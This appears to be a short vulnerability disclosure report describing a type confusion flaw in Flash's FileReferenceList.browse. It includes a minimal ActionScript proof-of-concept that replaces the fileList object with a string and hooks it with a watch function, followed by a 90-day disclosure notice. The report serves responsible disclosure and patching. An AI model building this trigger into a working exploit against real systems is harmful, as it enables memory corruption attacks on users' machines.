When FileReferenceList.browse attempts to add the files selected to the fileList object, it does not check that the object is an object atom. This can lead to type confusion. A minimal PoC is below:
var fileRef:FileReferenceList = new FileReferenceList();
fileRef.addListener(listener);
fileRef["fileList"] = "asdf";
fileRef.watch("fileList", func);
fileRef.browse(allTypes);
function func(){
trace("in file list");
return 7777777;
}
A full PoC is attached. To reproduce the issue, press the button and select a file. This issue requires user interaction.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
